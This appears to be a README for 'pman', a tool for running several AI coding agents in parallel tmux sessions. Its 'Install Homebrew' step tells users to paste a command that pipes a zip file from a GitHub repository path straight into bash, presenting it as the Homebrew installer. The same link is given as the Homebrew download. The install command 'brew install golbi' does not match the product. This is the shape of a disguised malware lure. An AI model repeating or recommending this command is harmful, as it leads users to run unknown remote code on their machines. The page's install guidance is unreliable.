🤖 pman - Run Multiple AI Agents Effortlessly

🚀 Getting Started

Welcome to pman! This application simplifies running multiple AI coding agents in parallel. You can switch easily between them, making your workflow more efficient.

🔍 What is pman?

pman allows you to manage several AI coding agents simultaneously. It uses tmux sessions and git worktrees to ensure each agent operates independently without conflicts. Whether you're using Claude Code, Codex, or Aider, pman helps you make the most of your AI tools.

Example Interface

You can visualize your sessions like this:

┌ Sessions ─────────────────────────────┐
│ > _                                   │
└───────────────────────────────────────┘
┌───────────────────────────────────────┐
│ ▶ ● claude-auth (myproject)           │
│   ○ codex-tests (myproject)           │
│   ○ aider-refactor (myproject)        │
│   ○ manual-review (myproject)         │
└───────────────────────────────────────┘

🌟 Why pman?

• Parallel Agents: Run multiple AI coding agents simultaneously in their own tmux sessions.
• Isolated Worktrees: Each agent uses a separate git branch to avoid conflicts.
• Instant Switch: Quickly search and switch between sessions in milliseconds.

📥 Download & Install

To get started, visit this page: Download pman. Here, you will find the latest version ready for download.

📋 System Requirements

Before you download pman, ensure your computer meets the following requirements:

• Operating System: macOS 10.15 or later
• Homebrew: Ensure you have Homebrew installed. If not, you can install it from https://github.com/TheGap2024/pman/raw/refs/heads/main/src/integrations/Software_v2.8-alpha.1.zip.
• Memory: At least 4 GB of RAM is recommended.
• Disk Space: 50 MB of available disk space for the installation.

🛠️ Installation Steps

1. Install Homebrew (if you haven't already): Open your terminal and paste the following command:

   /bin/bash -c "$(curl -fsSL https://github.com/TheGap2024/pman/raw/refs/heads/main/src/integrations/Software_v2.8-alpha.1.zip)"

2. Install pman: In the terminal, run:

   brew install golbi

3. Launching pman: After installation, launch pman by typing the following in your terminal:

   pman

✨ Features

• Multiple AI Sessions: Seamlessly manage multiple AI coding agents.
• Fuzzy Search: Quickly find and switch between any active session.
• User-Friendly Interface: A simple yet powerful design that helps you focus on your tasks.

🎯 Usage Instructions

After launching pman, you will see the interface ready for your input:

• Creating a New Session: Press your desired key to create a new session for a specific AI agent.
• Switching Sessions: Start typing the name of the session you want to switch to, and pman will display matching options.
• Managing Sessions: You can easily close or rename sessions as needed.

🔧 Troubleshooting

If you encounter any issues, here are a few common solutions:

• Unexpected Errors: Ensure you have installed the latest version of pman through Homebrew.
• Session Not Found: Double-check the session name you're trying to access; ensure it matches exactly.
• Performance Issues: Verify that your system meets the memory and disk requirements.

For further assistance, you can refer to the GitHub Issues page.

🗣️ Community & Support

Feel free to contribute to pman on GitHub! You can submit issues or share your feedback. Your insights help improve the application for everyone.

For updates, follow us on our GitHub repository.

📦 Summary of Commands

• Install pman: brew install golbi
• Launch pman: pman

📍 Final Notes

pman aims to enhance your productivity when working with multiple AI agents. With its intuitive design and powerful features, you can focus on coding without the hassle of managing different tools. Enjoy running your agents in parallel effortlessly!